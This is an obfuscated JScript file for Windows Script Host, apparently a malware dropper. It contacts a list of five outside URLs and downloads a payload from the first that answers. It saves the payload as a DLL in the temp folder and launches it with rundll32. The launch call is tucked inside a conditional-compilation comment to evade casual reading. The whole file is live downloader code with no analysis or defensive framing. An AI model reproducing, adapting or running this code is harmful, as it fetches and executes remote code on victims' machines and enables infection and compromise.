IPz3l0z = ["http://vexerrais.net/6sbdh","http://centinel.ca/wkr1j6n","http://3-50-90.ru/u4y5t","http://alpermetalsanayi.com/vuvls","http://flurrbinh.net/6mz3c5q"]; XLs5g2t = "4Xg1KlEcvEX4"; var Nh4f8m=1; var HOy6j5g=2; var PBz7l2a=2; var Tq6n3y="437"; var LDy7o9q=WScript["CreateObject"]("WScript.Shell"); var BRl2w6y=LDy7o9q.ExpandEnvironmentStrings("%T"+"EMP%/"); var FHq1c5y=BRl2w6y + XLs5g2t; var Tr5l0x=FHq1c5y + ".d" + "ll"; var Pp2s0l = LDy7o9q.Environment("System"); if (Pp2s0l("PROCESSOR_ARCHITECTURE").toLowerCase() == "amd64") { var Nw7h6n = LDy7o9q.ExpandEnvironmentStrings("%SystemRoot%\\SysWOW64\\rundll32.exe"); } else { var Nw7h6n = LDy7o9q.ExpandEnvironmentStrings("%SystemRoot%\\system32\\rundll32.exe"); } var Lh9l4c=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"]; for (var AYm6j9h=0; AYm6j9h < Lh9l4c["length"]; AYm6j9h++) { try { var UNv3v1l=WScript["CreateObject"](Lh9l4c[AYm6j9h]); break; } catch (e) { continue; } }; var Sx1b2j = new ActiveXObject("Scripting.FileSystemObject"); var Li0k1v = 0; for (var Ei1r4d = 0; Ei1r4d < IPz3l0z.length; Ei1r4d = Ei1r4d + 1) { try { UNv3v1l["open"]("GET", IPz3l0z[Ei1r4d], false); UNv3v1l["send"](); while (UNv3v1l.readystate < 4) WScript["Sleep"](100); var HAx9r7e=WScript["CreateObject"]("ADODB.Stream"); HAx9r7e["open"](); HAx9r7e["type"]=Nh4f8m; HAx9r7e["write"](UNv3v1l["ResponseBody"]); HAx9r7e["position"]=0; HAx9r7e["Sav"+"eToFile"](Tr5l0x, PBz7l2a); HAx9r7e["close"](); var GGv7p6y = Sx1b2j.GetFile(Tr5l0x); var KUk1w4n = GGv7p6y.ShortPath; /*@cc_on LDy7o9q["Run"](Nw7h6n + " " + KUk1w4n + ",boobs"); @*/ WScript.Quit(0); } catch (e) {continue;}; } WScript.Quit(0);